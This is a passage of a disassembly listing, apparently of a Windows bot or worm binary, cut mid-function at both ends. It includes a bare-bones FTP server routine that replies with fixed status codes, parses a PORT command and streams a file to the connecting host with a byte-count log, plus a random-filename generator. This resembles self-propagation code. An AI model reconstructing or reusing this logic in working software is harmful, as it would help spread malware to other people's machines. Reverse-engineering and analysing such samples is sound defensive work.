		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44401C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444010
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444008
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_443FFC
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472A7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6ECB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44767F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6ECB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6ECB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E74
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DE8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44767F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447988
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_444098 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5EA1BD
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		call	near ptr 77C4139Ch
		nop
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DE8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447988
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		nop
		call	near ptr 29B0000h


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E74
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6EC9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472AB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6EC9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F60
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E74
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
